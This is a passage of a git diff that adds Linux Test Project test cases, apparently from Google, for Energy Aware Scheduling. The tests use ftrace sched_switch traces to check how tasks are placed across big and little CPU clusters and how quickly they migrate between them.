diff --git a/testcases/kernel/sched/eas/eas_big_to_small.c b/testcases/kernel/sched/eas/eas_big_to_small.c
new file mode 100644
index 0000000..36f9598
--- /dev/null
+++ b/testcases/kernel/sched/eas/eas_big_to_small.c
@@ -0,0 +1,173 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ *
+ * Task starts out as a CPU hog and then becomes small.
+ * Task placement and downmigration latency are verified.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <pthread.h>
+#include <sched.h>
+#include <time.h>
+
+#include "tst_test.h"
+#include "tst_safe_file_ops.h"
+#include "tst_safe_pthread.h"
+
+#include "trace_parse.h"
+#include "util.h"
+
+#define TRACE_EVENTS "sched_switch"
+
+static int task_tid;
+
+#define MAX_DOWNMIGRATE_LATENCY_US 100000
+#define MAX_INCORRECT_CLUSTER_PCT 10
+#define BURN_SEC 3
+static void *task_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	task_tid = gettid();
+
+	printf("Big task executing for %ds...\n", BURN_SEC);
+	burn(BURN_SEC * USEC_PER_SEC, 0);
+
+	printf("Changing to small task...\n");
+	SAFE_FILE_PRINTF(TRACING_DIR "trace_marker", "SMALL TASK");
+	burn(BURN_SEC * USEC_PER_SEC, 1);
+
+	return NULL;
+}
+
+static int parse_results(void)
+{
+	int i, pct, rv = 0;
+	unsigned long long exec_start_us = 0;
+	unsigned long long too_big_cpu_us = 0;
+	unsigned long long too_small_cpu_us = 0;
+	unsigned long long big_task_us = 0;
+	unsigned long long small_task_us = 0;
+	unsigned long long smalltask_ts_usec = 0;
+	unsigned long long downmigrate_ts_usec = 0;
+	unsigned long long downmigrate_latency_usec = 0;
+	cpu_set_t cpuset;
+
+	if (find_cpus_with_capacity(0, &cpuset)) {
+		printf("Failed to find the CPUs in the little cluster.\n");
+		return -1;
+	}
+
+	for (i = 0; i < num_trace_records; i++) {
+		unsigned long long segment_us;
+		struct trace_sched_switch *t = trace[i].event_data;
+
+		if (trace[i].event_type == TRACE_RECORD_TRACING_MARK_WRITE &&
+			   !strcmp(trace[i].event_data, "SMALL TASK")) {
+			smalltask_ts_usec = TS_TO_USEC(trace[i].ts);
+			continue;
+		}
+
+		if (trace[i].event_type != TRACE_RECORD_SCHED_SWITCH)
+			continue;
+
+		if (t->next_pid == task_tid) {
+			/* Start of task execution segment. */
+			if (exec_start_us) {
+				printf("Trace parse fail: double exec start\n");
+				return -1;
+			}
+			exec_start_us = TS_TO_USEC(trace[i].ts);
+			if (smalltask_ts_usec && !downmigrate_ts_usec &&
+			    CPU_ISSET(trace[i].cpu, &cpuset))
+				downmigrate_ts_usec = exec_start_us;
+			continue;
+		}
+		if (t->prev_pid != task_tid)
+			continue;
+		/* End of task execution segment. */
+		segment_us = TS_TO_USEC(trace[i].ts);
+		segment_us -= exec_start_us;
+		exec_start_us = 0;
+		if (CPU_ISSET(trace[i].cpu, &cpuset)) {
+			/* Task is running on little CPUs. */
+			if (!smalltask_ts_usec)
+				too_small_cpu_us += segment_us;
+		} else {
+			/* Task is running on big CPUs. */
+			if (smalltask_ts_usec) {
+				/*
+				 * Downmigration is accounted separately, so
+				 * only record mis-scheduled time here if it
+				 * happened after downmigration.
+				 */
+				if (downmigrate_ts_usec)
+					too_big_cpu_us += segment_us;
+			}
+		}
+		if (smalltask_ts_usec)
+			small_task_us += segment_us;
+		else
+			big_task_us += segment_us;
+	}
+
+	pct = (too_small_cpu_us * 100) / big_task_us;
+	rv |= (pct > MAX_INCORRECT_CLUSTER_PCT);
+	printf("Time incorrectly scheduled on small when task was big: "
+	       "%lld usec (%d%% of big task CPU time)\n", too_small_cpu_us,
+	       pct);
+	pct = (too_big_cpu_us * 100) / small_task_us;
+	rv |= (pct > MAX_INCORRECT_CLUSTER_PCT);
+	printf("Time incorrectly scheduled on big when task was small, after "
+	       "downmigration: %lld usec (%d%% of small task CPU time)\n",
+	       too_big_cpu_us, pct);
+
+	if (downmigrate_ts_usec) {
+		downmigrate_latency_usec = downmigrate_ts_usec -
+			smalltask_ts_usec;
+		printf("Downmigration latency: %lld usec\n",
+		       downmigrate_latency_usec);
+	} else {
+		printf("Task never downmigrated!\n");
+		downmigrate_latency_usec = UINT_MAX;
+	}
+
+	return (rv || downmigrate_latency_usec > MAX_DOWNMIGRATE_LATENCY_US);
+}
+
+static void run(void)
+{
+	pthread_t task_thread;
+
+	tst_res(TINFO, "Maximum incorrect cluster time percentage: %d%%",
+		MAX_INCORRECT_CLUSTER_PCT);
+	tst_res(TINFO, "Maximum downmigration latency: %d usec",
+		MAX_DOWNMIGRATE_LATENCY_US);
+
+	/* configure and enable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	SAFE_FILE_PRINTF(TRACING_DIR "buffer_size_kb", "16384");
+	SAFE_FILE_PRINTF(TRACING_DIR "set_event", TRACE_EVENTS);
+	SAFE_FILE_PRINTF(TRACING_DIR "trace", "\n");
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "1");
+
+	SAFE_PTHREAD_CREATE(&task_thread, NULL, task_fn, NULL);
+	SAFE_PTHREAD_JOIN(task_thread, NULL);
+
+	/* disable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	LOAD_TRACE();
+
+	if (parse_results())
+		tst_res(TFAIL, "Task placement/migration latency goals "
+			"not met.\n");
+	else
+		tst_res(TPASS, "Task placement/migration latency goals "
+			"met.\n");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.cleanup = trace_cleanup,
+};
diff --git a/testcases/kernel/sched/eas/eas_one_big_task.c b/testcases/kernel/sched/eas/eas_one_big_task.c
new file mode 100644
index 0000000..5886e9e
--- /dev/null
+++ b/testcases/kernel/sched/eas/eas_one_big_task.c
@@ -0,0 +1,138 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ *
+ * A single big task executes. Task placement and upmigration latency is
+ * verified.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <pthread.h>
+#include <sched.h>
+#include <time.h>
+
+#include "tst_test.h"
+#include "tst_safe_file_ops.h"
+#include "tst_safe_pthread.h"
+
+#include "trace_parse.h"
+#include "util.h"
+
+#define TRACE_EVENTS "sched_switch"
+
+static int big_task_tid;
+
+#define MAX_UPMIGRATE_LATENCY_US 100000
+#define MIN_CORRECT_CLUSTER_PCT 90
+#define BURN_SEC 3
+static void *task_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	big_task_tid = gettid();
+
+	printf("Big task executing for %ds...\n", BURN_SEC);
+	burn(BURN_SEC * USEC_PER_SEC, 0);
+
+	return NULL;
+}
+
+static int parse_results(void)
+{
+	int i, pct;
+	unsigned long long exec_start_us = 0;
+	unsigned long long correct_us = 0;
+	unsigned long long total_us = 0;
+	unsigned long long start_ts_usec = 0;
+	unsigned long long upmigration_ts_usec = 0;
+	unsigned long long upmigration_latency_usec = 0;
+	cpu_set_t cpuset;
+
+	if (find_cpus_with_capacity(1, &cpuset)) {
+		printf("Failed to find the CPUs in the big cluster.\n");
+		return -1;
+	}
+
+	for (i = 0; i < num_trace_records; i++) {
+		unsigned long long segment_us;
+		struct trace_sched_switch *t = trace[i].event_data;
+
+		if (trace[i].event_type != TRACE_RECORD_SCHED_SWITCH)
+			continue;
+		if (t->next_pid == big_task_tid) {
+			/* Start of task execution segment. */
+			if (exec_start_us) {
+				printf("Trace parse fail: double exec start\n");
+				return -1;
+			}
+			exec_start_us = TS_TO_USEC(trace[i].ts);
+			if (!start_ts_usec)
+				start_ts_usec = exec_start_us;
+			if (!upmigration_ts_usec &&
+			    CPU_ISSET(trace[i].cpu, &cpuset))
+				upmigration_ts_usec = exec_start_us;
+			continue;
+		}
+		if (t->prev_pid != big_task_tid)
+			continue;
+		/* End of task execution segment. */
+		segment_us = TS_TO_USEC(trace[i].ts);
+		segment_us -= exec_start_us;
+		exec_start_us = 0;
+		if (CPU_ISSET(trace[i].cpu, &cpuset))
+			correct_us += segment_us;
+		total_us += segment_us;
+	}
+
+	pct = (correct_us * 100) / total_us;
+	printf("Total time task scheduled: %lld usec\n"
+	       "Time scheduled on a big CPU: %lld usec (%d%%)\n",
+	       total_us, correct_us, pct);
+
+	if (!upmigration_ts_usec) {
+		printf("Task never upmigrated!\n");
+		return -1;
+	}
+
+	upmigration_latency_usec = upmigration_ts_usec - start_ts_usec;
+	printf("Upmigration latency: %lld usec\n", upmigration_latency_usec);
+
+	return (pct < MIN_CORRECT_CLUSTER_PCT ||
+		upmigration_latency_usec > MAX_UPMIGRATE_LATENCY_US);
+}
+
+static void run(void)
+{
+	pthread_t task_thread;
+
+	tst_res(TINFO, "Minimum correct cluster time percentage: %d%%",
+		MIN_CORRECT_CLUSTER_PCT);
+	tst_res(TINFO, "Maximum upmigration latency: %d usec",
+		MAX_UPMIGRATE_LATENCY_US);
+
+	/* configure and enable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	SAFE_FILE_PRINTF(TRACING_DIR "buffer_size_kb", "16384");
+	SAFE_FILE_PRINTF(TRACING_DIR "set_event", TRACE_EVENTS);
+	SAFE_FILE_PRINTF(TRACING_DIR "trace", "\n");
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "1");
+
+	SAFE_PTHREAD_CREATE(&task_thread, NULL, task_fn, NULL);
+	SAFE_PTHREAD_JOIN(task_thread, NULL);
+
+	/* disable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	LOAD_TRACE();
+
+	if (parse_results())
+		tst_res(TFAIL, "Task placement/migration latency did not meet "
+			"requirements.");
+	else
+		tst_res(TPASS, "Task placement/migration latency met "
+			"requirements.");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.cleanup = trace_cleanup,
+};
diff --git a/testcases/kernel/sched/eas/eas_one_small_task.c b/testcases/kernel/sched/eas/eas_one_small_task.c
new file mode 100644
index 0000000..74b3a93
--- /dev/null
+++ b/testcases/kernel/sched/eas/eas_one_small_task.c
@@ -0,0 +1,119 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ *
+ * A single small task executes. Task placement is verified.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <pthread.h>
+#include <sched.h>
+#include <time.h>
+
+#include "tst_test.h"
+#include "tst_safe_file_ops.h"
+#include "tst_safe_pthread.h"
+
+#include "trace_parse.h"
+#include "util.h"
+
+#define TRACE_EVENTS "sched_switch"
+
+static int small_task_tid;
+
+#define MIN_CORRECT_CLUSTER_PCT 90
+#define BURN_SEC 5
+static void *task_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	small_task_tid = gettid();
+
+	printf("Small task executing for %ds...\n", BURN_SEC);
+	burn(BURN_SEC * USEC_PER_SEC, 1);
+
+	return NULL;
+}
+
+static int parse_results(void)
+{
+	int i, pct;
+	unsigned long long exec_start_us = 0;
+	unsigned long long correct_us = 0;
+	unsigned long long total_us = 0;
+	cpu_set_t cpuset;
+
+	if (find_cpus_with_capacity(0, &cpuset)) {
+		printf("Failed to find the CPUs in the little cluster.\n");
+		return -1;
+	}
+
+	for (i = 0; i < num_trace_records; i++) {
+		struct trace_sched_switch *t = trace[i].event_data;
+		unsigned long long segment_us;
+
+		if (trace[i].event_type != TRACE_RECORD_SCHED_SWITCH)
+			continue;
+
+		if (t->next_pid == small_task_tid) {
+			if (exec_start_us) {
+				printf("Trace parse fail: double exec start\n");
+				return -1;
+			}
+			exec_start_us = TS_TO_USEC(trace[i].ts);
+			continue;
+		}
+		if (t->prev_pid != small_task_tid)
+			continue;
+		/* End of task execution segment. */
+		if (!exec_start_us) {
+			printf("Trace parse fail: double exec end\n");
+			return -1;
+		}
+		segment_us = TS_TO_USEC(trace[i].ts);
+		segment_us -= exec_start_us;
+		exec_start_us = 0;
+		if (CPU_ISSET(trace[i].cpu, &cpuset))
+			correct_us += segment_us;
+		total_us += segment_us;
+	}
+
+	pct = (correct_us * 100) / total_us;
+	printf("Total time task scheduled: %lld usec\n"
+	       "Time scheduled on a little CPU: %lld usec (%d%%)\n",
+	       total_us, correct_us, pct);
+
+	return (pct < MIN_CORRECT_CLUSTER_PCT);
+}
+
+static void run(void)
+{
+	pthread_t task_thread;
+
+	tst_res(TINFO, "Minimum correct cluster time percentage: %d%%\n",
+		MIN_CORRECT_CLUSTER_PCT);
+
+	/* configure and enable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	SAFE_FILE_PRINTF(TRACING_DIR "buffer_size_kb", "16384");
+	SAFE_FILE_PRINTF(TRACING_DIR "set_event", TRACE_EVENTS);
+	SAFE_FILE_PRINTF(TRACING_DIR "trace", "\n");
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "1");
+
+	SAFE_PTHREAD_CREATE(&task_thread, NULL, task_fn, NULL);
+	SAFE_PTHREAD_JOIN(task_thread, NULL);
+
+	/* disable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	LOAD_TRACE();
+
+	if (parse_results())
+		tst_res(TFAIL, "Small task ran too much on non-small CPUs.\n");
+	else
+		tst_res(TPASS, "Small task ran appropriately on small CPUs.\n");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.cleanup = trace_cleanup,
+};
diff --git a/testcases/kernel/sched/eas/eas_small_big_toggle.c b/testcases/kernel/sched/eas/eas_small_big_toggle.c
new file mode 100644
index 0000000..c0d98b0
--- /dev/null
+++ b/testcases/kernel/sched/eas/eas_small_big_toggle.c
@@ -0,0 +1,231 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ *
+ * A task alternates between being big and small. Max up and down migration
+ * latencies and task placement are verified.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <pthread.h>
+#include <sched.h>
+#include <time.h>
+
+#include "tst_test.h"
+#include "tst_safe_file_ops.h"
+#include "tst_safe_pthread.h"
+
+#include "trace_parse.h"
+#include "util.h"
+
+#define TRACE_EVENTS "sched_switch"
+
+static int task_tid;
+
+#define MAX_UPMIGRATE_LATENCY_US 100000
+#define MAX_DOWNMIGRATE_LATENCY_US 100000
+#define MAX_INCORRECT_CLUSTER_PCT 10
+#define BURN_SEC 1
+#define NUM_LOOPS 10
+static void *task_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	int loops = NUM_LOOPS;
+
+	task_tid = gettid();
+
+	while (loops--) {
+		SAFE_FILE_PRINTF(TRACING_DIR "trace_marker", "SMALL TASK");
+		burn(BURN_SEC * USEC_PER_SEC, 1);
+
+		SAFE_FILE_PRINTF(TRACING_DIR "trace_marker", "CPU HOG");
+		burn(BURN_SEC * USEC_PER_SEC, 0);
+	}
+
+	return NULL;
+}
+
+static int parse_results(void)
+{
+	int i, pct, rv = 0;
+	unsigned long long exec_start_us = 0;
+	unsigned long long too_big_cpu_us = 0;
+	unsigned long long too_small_cpu_us = 0;
+	unsigned long long small_task_us = 0;
+	unsigned long long big_task_us = 0;
+	unsigned long long smalltask_ts_usec = 0;
+	unsigned long long cpuhog_ts_usec = 0;
+	unsigned long long upmigrate_ts_usec = 0;
+	unsigned long long downmigrate_ts_usec = 0;
+	unsigned long long max_upmigrate_latency_usec = 0;
+	unsigned long long max_downmigrate_latency_usec = 0;
+	cpu_set_t cpuset;
+
+	if (find_cpus_with_capacity(0, &cpuset)) {
+		printf("Failed to find the CPUs in the little cluster.\n");
+		return -1;
+	}
+
+	for (i = 0; i < num_trace_records; i++) {
+		unsigned long long segment_us;
+		struct trace_sched_switch *t = trace[i].event_data;
+
+		if (trace[i].event_type == TRACE_RECORD_TRACING_MARK_WRITE) {
+			if (!strcmp(trace[i].event_data, "CPU HOG")) {
+				/* Task is transitioning to cpu hog. */
+				cpuhog_ts_usec = TS_TO_USEC(trace[i].ts);
+				if (downmigrate_ts_usec) {
+					unsigned long long temp_latency;
+					temp_latency = downmigrate_ts_usec -
+						smalltask_ts_usec;
+					if (temp_latency >
+					    max_downmigrate_latency_usec)
+						max_downmigrate_latency_usec =
+							temp_latency;
+				} else if (smalltask_ts_usec) {
+					printf("Warning: small task never "
+					       "downmigrated.\n");
+					rv = 1;
+				}
+				downmigrate_ts_usec = 0;
+				smalltask_ts_usec = 0;
+			} else if (!strcmp(trace[i].event_data, "SMALL TASK")) {
+				smalltask_ts_usec = TS_TO_USEC(trace[i].ts);
+				if (upmigrate_ts_usec) {
+					unsigned long long temp_latency;
+					temp_latency = upmigrate_ts_usec -
+						cpuhog_ts_usec;
+					if (temp_latency >
+					    max_upmigrate_latency_usec)
+						max_upmigrate_latency_usec =
+							temp_latency;
+				} else if (cpuhog_ts_usec) {
+					printf("Warning: big task never "
+					       "upmigrated.\n");
+					rv = 1;
+				}
+				upmigrate_ts_usec = 0;
+				cpuhog_ts_usec = 0;
+			}
+			continue;
+		}
+
+		if (trace[i].event_type != TRACE_RECORD_SCHED_SWITCH)
+			continue;
+		if (t->next_pid == task_tid) {
+			/* Start of task execution segment. */
+			if (exec_start_us) {
+				printf("Trace parse fail: double exec start\n");
+				return -1;
+			}
+			exec_start_us = TS_TO_USEC(trace[i].ts);
+			if (cpuhog_ts_usec && !upmigrate_ts_usec &&
+			    !CPU_ISSET(trace[i].cpu, &cpuset))
+				upmigrate_ts_usec = exec_start_us;
+			if (smalltask_ts_usec && !downmigrate_ts_usec &&
+			    CPU_ISSET(trace[i].cpu, &cpuset))
+				downmigrate_ts_usec = exec_start_us;
+			continue;
+		}
+		if (t->prev_pid != task_tid)
+			continue;
+		/* End of task execution segment. */
+		segment_us = TS_TO_USEC(trace[i].ts);
+		segment_us -= exec_start_us;
+		exec_start_us = 0;
+		if (CPU_ISSET(trace[i].cpu, &cpuset)) {
+			/* Task is running on little CPUs. */
+			if (cpuhog_ts_usec) {
+				/*
+				 * Upmigration is accounted separately, so only
+				 * record mis-scheduled time here if it happened
+				 * after upmigration.
+				 */
+				if (upmigrate_ts_usec)
+					too_small_cpu_us += segment_us;
+			}
+		} else {
+			/* Task is running on big CPUs. */
+			if (smalltask_ts_usec) {
+				/*
+				 * Downmigration is accounted separately, so
+				 * only record mis-scheduled time here if it
+				 * happened after downmigration.
+				 */
+				if (downmigrate_ts_usec)
+					too_big_cpu_us += segment_us;
+			}
+		}
+		if (cpuhog_ts_usec)
+			big_task_us += segment_us;
+		if (smalltask_ts_usec)
+			small_task_us += segment_us;
+	}
+
+	pct = (too_big_cpu_us * 100) / small_task_us;
+	rv |= (pct > MAX_INCORRECT_CLUSTER_PCT);
+	printf("Time incorrectly scheduled on big when task was small, "
+	       "after downmigration: "
+	       "%lld usec (%d%% of small task CPU time)\n", too_big_cpu_us,
+	       pct);
+	pct = (too_small_cpu_us * 100) / big_task_us;
+	rv |= (pct > MAX_INCORRECT_CLUSTER_PCT);
+	printf("Time incorrectly scheduled on small when task was big, "
+	       "after upmigration: "
+	       "%lld usec (%d%% of big task CPU time)\n", too_small_cpu_us,
+	       pct);
+
+	printf("small task time: %lld\nbig task time: %lld\n",
+	       small_task_us, big_task_us);
+
+	printf("Maximum upmigration time: %lld\n",
+	       max_upmigrate_latency_usec);
+	printf("Maximum downmigration time: %lld\n",
+	       max_downmigrate_latency_usec);
+
+	return (rv ||
+		max_upmigrate_latency_usec > MAX_UPMIGRATE_LATENCY_US ||
+		max_downmigrate_latency_usec > MAX_DOWNMIGRATE_LATENCY_US);
+}
+
+static void run(void)
+{
+	pthread_t task_thread;
+
+	tst_res(TINFO, "Maximum incorrect cluster time percentage: %d%%",
+		MAX_INCORRECT_CLUSTER_PCT);
+	tst_res(TINFO, "Maximum downmigration latency: %d usec",
+		MAX_DOWNMIGRATE_LATENCY_US);
+	tst_res(TINFO, "Maximum upmigration latency: %d usec",
+		MAX_UPMIGRATE_LATENCY_US);
+
+	printf("Task alternating between big and small for %d sec\n",
+	       BURN_SEC * NUM_LOOPS * 2);
+
+	/* configure and enable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	SAFE_FILE_PRINTF(TRACING_DIR "buffer_size_kb", "16384");
+	SAFE_FILE_PRINTF(TRACING_DIR "set_event", TRACE_EVENTS);
+	SAFE_FILE_PRINTF(TRACING_DIR "trace", "\n");
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "1");
+
+	SAFE_PTHREAD_CREATE(&task_thread, NULL, task_fn, NULL);
+	SAFE_PTHREAD_JOIN(task_thread, NULL);
+
+	/* disable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	LOAD_TRACE();
+
+	if (parse_results())
+		tst_res(TFAIL, "Task placement and migration latency goals "
+			"were not met.\n");
+	else
+		tst_res(TPASS, "Task placement and migration latency goals "
+			"were met.\n");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.cleanup = trace_cleanup,
+};
diff --git a/testcases/kernel/sched/eas/eas_small_to_big.c b/testcases/kernel/sched/eas/eas_small_to_big.c
new file mode 100644
index 0000000..0e2c04a
--- /dev/null
+++ b/testcases/kernel/sched/eas/eas_small_to_big.c
@@ -0,0 +1,173 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ *
+ * A task executes as small then as big. Upmigration latency and task placement
+ * are verified.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <pthread.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <time.h>
+
+#include "tst_test.h"
+#include "tst_safe_file_ops.h"
+#include "tst_safe_pthread.h"
+
+#include "trace_parse.h"
+#include "util.h"
+
+#define TRACE_EVENTS "sched_switch"
+
+static int task_tid;
+
+#define MAX_UPMIGRATE_LATENCY_US 100000
+#define MAX_INCORRECT_CLUSTER_PCT 10
+#define BURN_SEC 3
+static void *task_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	task_tid = gettid();
+
+	printf("Small task executing for %ds...\n", BURN_SEC);
+	burn(BURN_SEC * USEC_PER_SEC, 1);
+
+	printf("Changing to big task...\n");
+	SAFE_FILE_PRINTF(TRACING_DIR "trace_marker", "CPU HOG");
+	burn(BURN_SEC * USEC_PER_SEC, 0);
+
+	return NULL;
+}
+
+static int parse_results(void)
+{
+	int i, pct, rv = 0;
+	unsigned long long exec_start_us = 0;
+	unsigned long long too_big_cpu_us = 0;
+	unsigned long long too_small_cpu_us = 0;
+	unsigned long long small_task_us = 0;
+	unsigned long long big_task_us = 0;
+	unsigned long long cpuhog_ts_usec = 0;
+	unsigned long long upmigrate_ts_usec = 0;
+	unsigned long long upmigrate_latency_usec = 0;
+	cpu_set_t cpuset;
+
+	if (find_cpus_with_capacity(0, &cpuset)) {
+		printf("Failed to find the CPUs in the little cluster.\n");
+		return -1;
+	}
+
+	for (i = 0; i < num_trace_records; i++) {
+		unsigned long long segment_us;
+		struct trace_sched_switch *t = trace[i].event_data;
+
+		if (trace[i].event_type == TRACE_RECORD_TRACING_MARK_WRITE &&
+			   !strcmp(trace[i].event_data, "CPU HOG")) {
+			cpuhog_ts_usec = TS_TO_USEC(trace[i].ts);
+			continue;
+		}
+
+		if (trace[i].event_type != TRACE_RECORD_SCHED_SWITCH)
+			continue;
+		if (t->next_pid == task_tid) {
+			/* Start of task execution segment. */
+			if (exec_start_us) {
+				printf("Trace parse fail: double exec start\n");
+				return -1;
+			}
+			exec_start_us = TS_TO_USEC(trace[i].ts);
+			if (cpuhog_ts_usec && !upmigrate_ts_usec &&
+			    !CPU_ISSET(trace[i].cpu, &cpuset))
+				upmigrate_ts_usec = exec_start_us;
+			continue;
+		}
+		if (t->prev_pid != task_tid)
+			continue;
+		/* End of task execution segment. */
+		segment_us = TS_TO_USEC(trace[i].ts);
+		segment_us -= exec_start_us;
+		exec_start_us = 0;
+		if (CPU_ISSET(trace[i].cpu, &cpuset)) {
+			/* Task is running on little CPUs. */
+			if (cpuhog_ts_usec) {
+				/*
+				 * Upmigration is accounted separately, so only
+				 * record mis-scheduled time here if it happened
+				 * after upmigration.
+				 */
+				if (upmigrate_ts_usec)
+					too_small_cpu_us += segment_us;
+			}
+		} else {
+			/* Task is running on big CPUs. */
+			if (!cpuhog_ts_usec)
+				too_big_cpu_us += segment_us;
+		}
+		if (cpuhog_ts_usec)
+			big_task_us += segment_us;
+		else
+			small_task_us += segment_us;
+	}
+
+	pct = (too_big_cpu_us * 100) / small_task_us;
+	rv |= (pct > MAX_INCORRECT_CLUSTER_PCT);
+	printf("Time incorrectly scheduled on big when task was small: "
+	       "%lld usec (%d%% of small task CPU time)\n", too_big_cpu_us,
+	       pct);
+	pct = (too_small_cpu_us * 100) / big_task_us;
+	rv |= (pct > MAX_INCORRECT_CLUSTER_PCT);
+	printf("Time incorrectly scheduled on small when task was big, "
+	       "after upmigration: "
+	       "%lld usec (%d%% of big task CPU time)\n", too_small_cpu_us,
+	       pct);
+
+	if (upmigrate_ts_usec) {
+		upmigrate_latency_usec = upmigrate_ts_usec - cpuhog_ts_usec;
+		printf("Upmigration latency: %lld usec\n",
+		       upmigrate_latency_usec);
+	} else {
+		printf("Task never upmigrated!\n");
+		upmigrate_latency_usec = UINT_MAX;
+	}
+
+	return (rv || upmigrate_latency_usec > MAX_UPMIGRATE_LATENCY_US);
+}
+
+static void run(void)
+{
+	pthread_t task_thread;
+
+	tst_res(TINFO, "Maximum incorrect cluster time percentage: %d%%",
+		MAX_INCORRECT_CLUSTER_PCT);
+	tst_res(TINFO, "Maximum upmigration latency: %d usec",
+		MAX_UPMIGRATE_LATENCY_US);
+
+	/* configure and enable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	SAFE_FILE_PRINTF(TRACING_DIR "buffer_size_kb", "16384");
+	SAFE_FILE_PRINTF(TRACING_DIR "set_event", TRACE_EVENTS);
+	SAFE_FILE_PRINTF(TRACING_DIR "trace", "\n");
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "1");
+
+	SAFE_PTHREAD_CREATE(&task_thread, NULL, task_fn, NULL);
+	SAFE_PTHREAD_JOIN(task_thread, NULL);
+
+	/* disable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	LOAD_TRACE();
+
+	if (parse_results())
+		tst_res(TFAIL, "Task placement and migration latency goals "
+			"were not met.\n");
+	else
+		tst_res(TPASS, "Task placement and migration latency goals "
+			"were met.\n");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.cleanup = trace_cleanup,
+};
diff --git a/testcases/kernel/sched/eas/eas_two_big_three_small.c b/testcases/kernel/sched/eas/eas_two_big_three_small.c
new file mode 100644
index 0000000..000b942
--- /dev/null
+++ b/testcases/kernel/sched/eas/eas_two_big_three_small.c
@@ -0,0 +1,143 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ *
+ * Two big and three small tasks execute. Task placement is verified.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <pthread.h>
+#include <sched.h>
+#include <time.h>
+
+#include "tst_test.h"
+#include "tst_safe_file_ops.h"
+#include "tst_safe_pthread.h"
+
+#include "trace_parse.h"
+#include "util.h"
+
+#define TRACE_EVENTS "sched_switch"
+
+static int task_tids[5];
+
+#define MAX_INCORRECT_CLUSTER_PCT 10
+#define BURN_SEC 3
+static void *task_fn(void *arg)
+{
+	int id = (int *)arg - task_tids;
+
+	task_tids[id] = gettid();
+
+	/* Tasks 0-2 are small, 3-4 are big. */
+	burn(BURN_SEC * USEC_PER_SEC, id < 3 ? 1 : 0);
+
+	return NULL;
+}
+
+static int parse_results(void)
+{
+	int i, j, pct, rv = 0;
+	unsigned long long exec_start_us[5] = { 0, 0, 0, 0, 0 };
+	unsigned long long incorrect_us[5] = { 0, 0, 0, 0, 0 };
+	unsigned long long total_us[5] = { 0, 0, 0, 0, 0 };
+	cpu_set_t cpuset;
+
+	if (find_cpus_with_capacity(0, &cpuset)) {
+		printf("Failed to find the CPUs in the little cluster.\n");
+		return -1;
+	}
+
+	for (i = 0; i < num_trace_records; i++) {
+		struct trace_sched_switch *t = trace[i].event_data;
+		unsigned long long segment_us;
+
+		if (trace[i].event_type != TRACE_RECORD_SCHED_SWITCH)
+			continue;
+
+		/* Is this the start of an execution segment? */
+		for (j = 0; j < 5; j++) {
+			if (t->next_pid != task_tids[j])
+				continue;
+			/* Start of execution segment for task j */
+			if (exec_start_us[j]) {
+				printf("Trace parse fail: double exec start\n");
+				return -1;
+			}
+			exec_start_us[j] = TS_TO_USEC(trace[i].ts);
+		}
+
+		/* Is this the end of an execution segment? */
+		for (j = 0; j < 5; j++) {
+			if (t->prev_pid != task_tids[j])
+				continue;
+			/* End of execution segment for task j */
+			segment_us = TS_TO_USEC(trace[i].ts);
+			segment_us -= exec_start_us[j];
+			exec_start_us[j] = 0;
+			if (CPU_ISSET(trace[i].cpu, &cpuset) && j > 2)
+				incorrect_us[j] += segment_us;
+			if (!CPU_ISSET(trace[i].cpu, &cpuset) && j < 3)
+				incorrect_us[j] += segment_us;
+			total_us[j] += segment_us;
+
+		}
+	}
+
+	for (i = 0; i < 3; i++) {
+		pct = (incorrect_us[i] * 100) / total_us[i];
+		rv |= (pct > MAX_INCORRECT_CLUSTER_PCT);
+		printf("Total time little task scheduled: %lld Time scheduled "
+		       "on big CPU: %lld (%d%%)\n", total_us[i],
+		       incorrect_us[i], pct);
+	}
+	for (i = 3; i < 5; i++) {
+		pct = (incorrect_us[i] * 100) / total_us[i];
